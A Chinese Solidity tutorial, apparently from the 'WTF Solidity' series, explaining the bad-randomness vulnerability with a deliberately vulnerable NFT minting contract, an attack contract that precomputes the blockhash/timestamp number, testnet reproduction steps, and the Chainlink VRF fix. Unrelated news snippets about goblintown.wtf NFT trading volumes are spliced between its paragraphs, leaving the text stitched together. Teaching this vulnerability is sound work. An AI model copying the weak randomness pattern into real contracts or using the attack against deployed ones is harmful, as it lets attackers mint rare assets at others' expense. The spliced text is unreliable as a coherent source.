我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。
这一讲,我们将介绍智能合约的坏随机数(Bad Randomness)漏洞和预防方法,这个漏洞经常在 NFT 和 GameFi 中出现,包括 Meebits,Loots,Wolf Game等。
很多以太坊上的应用都需要用到随机数,例如NFT随机抽取tokenId、抽盲盒、gamefi战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明(public)且确定性(deterministic)的,它没有其他编程语言一样给开发者提供生成随机数的方法,例如random()。很多项目方不得不使用链上的伪随机数生成方法,例如 blockhash() 和 keccak256() 方法。
坏随机数漏洞:攻击者可以事先计算这些伪随机数的结果,从而达到他们想要的目的,例如铸造任何他们想要的稀有NFT而非随机抽取。更多的内容可以阅读 WTF Solidity极简教程 第39讲:伪随机数。
NFT系列“哥布林”goblintown.wtf 交易额突破1亿美元:金色财经报道,据 NFTGo 最新数据显示,“哥布林”goblintown.wtf系列NFT交易额已突破1亿美元,本文撰写时达到1.0185亿美元,但由于地板价跌至0.665 ETH,其市值目前缩水至约3353万美元。[2022/12/29 22:13:11]
下面我们学习一个有坏随机数漏洞的 NFT 合约: BadRandomness.sol。
contract BadRandomness is ERC721 { uint256 totalSupply; // 构造函数,初始化NFT合集的名称、代号 constructor() ERC721("", ""){} // 铸造函数:当输入的 luckyNumber 等于随机数时才能mint function luckyMint(uint256 luckyNumber) external { uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number require(randomNumber == luckyNumber, "Better luck next time!"); _mint(msg.sender, totalSupply); // mint totalSupply++; }}它有一个主要的铸造函数 luckyMint(),用户调用时输入一个 0-99 的数字,如果和链上生成的伪随机数 randomNumber 相等,即可铸造幸运 NFT。伪随机数使用 blockhash 和 block.timestamp 声称。这个漏洞在于用户可以完美预测生成的随机数并铸造NFT。
Web3开源大学WTF Academy获得Starkware资助,将合作开发ZK和Cairo开源教程:11月5日,据官方消息,Web3开源大学WTF Academy获得以太坊二层扩容方案Starkware的资助,将合作开发ZK和Cairo的中英文开源教程,为以太坊和Layer2培养更多开发者。据介绍,WTF Academy是一个Web3开源学院,提供免费开源Web3技术教程,目前WTF Solidity极简教程已经更新50讲。据此前消息,WTF Academy发布习题测试和链上技能认证模块,并已开启公测。[2022/11/5 12:19:54]
下面我们写个攻击合约 Attack.sol。
contract Attack { function attackMint(BadRandomness nftAddr) external { // 提前计算随机数 uint256 luckyNumber = uint256( keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) ) % 100; // 利用 luckyNumber 攻击 nftAddr.luckyMint(luckyNumber); }}攻击函数 attackMint()中的参数为 BadRandomness合约地址。在其中,我们计算了随机数 luckyNumber,然后将它作为参数输入到 luckyMint() 函数完成攻击。由于attackMint()和luckyMint()将在同一个区块中调用,blockhash和block.timestamp是相同的,利用他们生成的随机数也相同。
goblintown.wtf系列NFT24小时交易额为90.35万美元:金色财经消息,据NFTGo.io数据显示,goblintown.wtf系列NFT总市值达6264万美元,在所有NFT项目总市值排名中位列第38;其24小时交易额为90.35万美元,跌幅达12.69%。截止发稿时,该系列NFT当前地板价为3ETH,涨幅为3.81%。[2022/6/13 4:21:22]
由于 Remix 自带的 Remix VM不支持 blockhash函数,因此你需要将合约部署到以太坊测试链上进行复现。
部署 BadRandomness 合约。
部署 Attack 合约。
将 BadRandomness 合约地址作为参数传入到 Attack 合约的 attackMint() 函数并调用,完成攻击。
调用 BadRandomness 合约的 balanceOf 查看Attack 合约NFT余额,确认攻击成功。
goblintown.wtf系列NFT24小时交易额为102.41万美元:金色财经消息,据NFTGo.io数据显示,goblintown.wtf系列NFT总市值达6238万美元,在所有NFT项目总市值排名中位列第39;其24小时交易额为102.41万美元,跌幅达9.35%。截止发稿时,该系列NFT当前地板价为3.15ETH,跌幅为26.01%。[2022/6/12 4:19:11]
我们通常使用预言机项目提供的链下随机数来预防这类漏洞,例如 Chainlink VRF。这类随机数从链下生成,然后上传到链上,从而保证随机数不可预测。更多介绍可以阅读 WTF Solidity极简教程 第39讲:伪随机数。
这一讲我们介绍了坏随机数漏洞,并介绍了一个简单的预防方法:使用预言机项目提供的链下随机数。NFT 和 GameFi 项目方应避免使用链上伪随机数进行抽奖,以防被黑客利用。
推特:@0xAA_Science|@WTFAcademy_
goblintown.wtf系列NFT 24小时交易额超700万美元,地板价接近6 ETH:6月1日消息,NFTGo.io数据显示,goblintown.wtf系列NFT 24小时交易额达727.46万美元,涨幅为165.55%。目前地板价达5.95 ETH,24小时涨幅为70.99%。[2022/6/1 3:56:44]
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所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity
来源:bress
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